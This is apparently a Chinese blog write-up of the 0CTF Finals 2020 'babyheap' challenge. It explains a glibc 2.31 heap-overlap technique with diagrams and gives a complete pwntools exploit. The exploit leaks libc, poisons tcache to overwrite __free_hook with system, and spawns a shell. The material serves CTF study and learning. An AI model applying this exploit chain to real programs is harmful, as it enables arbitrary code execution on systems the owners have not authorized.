原writeup把思路写得非常详细,这里不赘述了,提取一些巧妙的攻击思路分析和学习就行
https://hxp.io/blog/77/0CTF-Finals-2020-babyheap/

前置

原题当时看了一下不太有思路,没有继续写下去。这题用了比较新的Glibc2.31,所以很多机制不太一样,利用手段需要改进,所以题面才会说“要更新你的技巧了”(好real的pwn,我喜欢,虽然我不会...)

unlink手段变化

原先(以Glibc2.27举例)利用unlink只需要满足如下三个条件:

  • chunksize(P) != prev_size (next_chunk(P)) [注意这条]
  • FD->bk != P || BK->fd != P
  • P->fd_nextsize->bk_nextsize != P || P->bk_nextsize->fd_nextsize != P

所以,伪造的free_chunk的nextsize并不需要和被free的chunk的prevsize一样,这就导致了利用较为简单。但是Glibc2.31在向前合并过程中,unlink之前,添加了如下检测条件:

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

所以如果上述nextsizeprevsize不同就会触发报错。这题的关键在于巧妙地构造“正常”的unlink过程,也就是在被free的chunk和被合并的chunk之间不夹带其它的chunk构成overlapping。但是因为chunk_info结构体在一段随机内存段上,不方便直接构造fd和bk,那么fd和bk就只能从被free后放入unsorted_bin产生的指针构造。but如果free即将被合并的chunk以产生fd, bk又和我们的目标——构造overlapping 背道而驰...

然后就引出了原writeup作者的方法

巧妙构造overlapping

既然fd和bk不能直接通过free产生,那可以尝试使用一些“遗留”在堆内存上的指针——即换个思路,不直接伪造fd和bk,而是尝试伪造chunk头部的位置。

文章给出了一种利用“遗留”指针构造fake chunk的手法:

  1. 第一步

    • 分配两个同样大小的堆块,size要大于smallbin范围以保证free后能直接进入unsortedbin


    ............... - chunk A
    |             |
    |             |
    |             |
    ............... - chunk B
    |             |
    |             |
    |             |
    ...............
    
  2. 第二步

    • 释放他们使得两个堆块合并
    • 此时位于高地址的堆块指针“遗留”在了堆内存上


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    |             |
    |  (old ptr)  |
    |             |
    |             |
    ...............
    
  3. 第三步

    • 对已经合并的堆块重分配,大小要把old ptr包括在内,以便于伪造堆头


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    |             |
    |  (old ptr)  |
    ...............
    |  (header )  |
    |             |
    ...............
    
  4. 第四步

    • 伪造堆头


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    ...............
    |  (fake H )  |
    |  (old ptr)  |
    ...............
    |  (header )  |
    |             |
    ...............
    
  5. 第五步

    • 伪造更高地址位置的prev_size和prev_inuse位,这里比较简单,可以通过夹一个小堆块然后溢出构造实现


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    ...............
    |  (fake H )  |
    |  (old ptr)  |
    ..................
    |  (header )  |  |
    |             |  |  fake chunk范围
    ...............  |
    |  (help   )  |  |  <-溢出这个堆块构造下面的堆块(offbynull)
    ..................
    |  (header )  |     <-伪造prev_size和prev_inuse位
    |             |
    |             |
    ...............
    
  6. 第六步

    • free掉最高的块触发unlink
    • 此时一部分可控区域就被包含在了新堆块里面


    ...............
    |  (header )  |
    |  (new ptr)  |
    |             |
    |             |
    ...............
    |  (header )  |
    |  (old ptr)  |
    |             |
    |             |
    |             |
    |             |
    |  (help   )  |
    ................
    |  (header )  |
    |             |
    |             |
    ...............
    
  7. 第七步

    • 尽情利用这个成果,通过uaf的方式,既可以泄露libc地址,又可以构造tcache attach去修改某地址上的值...

exp

python3

from pwn import *

p = process("./babyheap")
libc = ELF("./libc.so.6")
context.log_level = "debug"


def add(size:int):
    p.recvuntil(b"Command: ")
    p.sendline(b"1")
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())

def update(idx:int, size:int, content):
    p.recvuntil(b"Command: ")
    p.sendline(b"2")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content: ")
    p.send(content)

def delete(idx:int):
    p.recvuntil(b"Command: ")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())


def view(idx:int):
    p.recvuntil(b"Command: ")
    p.sendline(b"4")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())

def go_exit():
    p.recvuntil(b"Command: ")
    p.sendline(b"5")

def exp():
    #overlapping
    add(0x508)  #0 fd
    add(0x48)   #1 
    add(0x508)  #2 extend
    add(0x508)  #3 setup
    add(0x18)   #4 
    add(0x508)  #5 bk help
    add(0x508)  #6 bk
    add(0x18)   #7
    #gdb.attach(p)

    delete(0) #del0
    delete(3) #del3
    delete(6) #del6
    delete(2) #del2
    #gdb.attach(p)

    add(0x508) #0
    add(0x508) #2
    add(0x530) #3 fake chunk
    #gdb.attach(p)

    delete(2) #del2
    delete(5) #del5
    #gdb.attach(p)

    add(0x4d8) #2
    add(0x530) #5
    add(0x4d8) #6
    #gdb.attach(p)

    delete(0) #del0
    delete(2) #del2
    #gdb.attach(p)

    add(0x508) #0
    add(0x4d8) #2
    #gdb.attach(p)

    #build fake chunk
    payload = b" "*0x508 + int(0x531).to_bytes(7, 'little')
    update(3, len(payload), payload)
    payload = b" "*8
    update(0, len(payload), payload)

    # prepare fake header and correct pointer
    payload = b" "*0x4f8 + p64(0x521) + p64(0) + p64(0x511)
    update(5, len(payload), payload)
    #gdb.attach(p)

    payload = b" "*0x10 + p64(0x530)
    update(4, len(payload), payload)
    #gdb.attach(p)
    # merge fakechunk to overlapping
    delete(5) #fd: 0x0000555555559490   bk: 0x000055555555a940
    #gdb.attach(p)

    #get the part near idx3
    #make a glibc_addr into idx2
    add(0x28)
    #leak
    view(2)
    p.recvuntil(b"Chunk[2]: ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x1ebbe0
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + 0x1eeb28
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    #tcache attack to rewrite free_hook
    add(0x28) #8
    add(0x28) #9
    delete(9) #del8
    delete(8) #del9

    payload = p64(free_hook)
    update(2, len(payload), payload)
    #gdb.attach(p)
    add(0x28) #8
    add(0x28) #9

    update(9, 8, p64(system))
    gdb.attach(p)

    #free idx8 to call system("/bin/sh\x00")
    payload = b"/bin/sh\x00"
    update(8, len(payload), payload)
    delete(8)

    p.interactive()

if __name__ == "__main__":
    exp()

标签: none

添加新评论